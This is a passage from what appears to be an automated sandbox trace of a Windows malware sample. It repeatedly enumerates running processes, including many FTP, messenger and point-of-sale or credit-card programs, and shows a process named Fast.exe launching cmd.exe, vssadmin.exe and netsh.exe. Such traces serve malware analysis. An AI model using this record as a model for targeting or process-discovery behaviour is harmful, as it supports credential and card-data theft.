lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0084.670] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0084.673] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0084.675] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0084.678] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0084.680] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0084.684] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0084.686] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0084.689] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0084.691] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0084.693] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0084.697] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0084.700] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0084.703] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0085.200] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0085.202] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0085.204] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0085.206] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0085.209] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0085.213] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0085.215] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0085.218] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0085.220] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0085.222] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0085.224] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0085.226] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0085.230] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay-compromise.exe")) returned 1 [0085.232] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural_allowance.exe")) returned 1 [0085.234] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="presents.exe")) returned 1 [0085.235] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="latino powers economics.exe")) returned 1 [0085.237] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lbs essentially nyc.exe")) returned 1 [0085.239] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0085.241] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0085.589] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0085.591] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0085.593] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0085.594] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0085.596] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0085.597] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0085.599] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x808, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0085.601] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0085.603] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0085.605] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0085.606] CloseHandle (hObject=0x1d0) returned 1 [0085.606] Sleep (dwMilliseconds=0x1f4) [0086.405] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0086.414] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.415] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0086.417] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0086.419] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0086.420] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0086.422] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0086.424] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0086.425] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0086.427] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0086.429] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0086.431] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.432] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.434] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.435] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.437] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.438] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0086.440] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.441] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.443] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0086.711] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0086.712] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0086.714] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0086.715] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.717] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0086.718] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0086.720] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.721] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0086.723] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.725] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0086.726] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0086.728] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0086.729] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0086.731] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0086.732] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0086.734] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0086.736] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0086.737] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0086.739] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0086.741] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0086.742] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0086.744] Process32NextW (in: 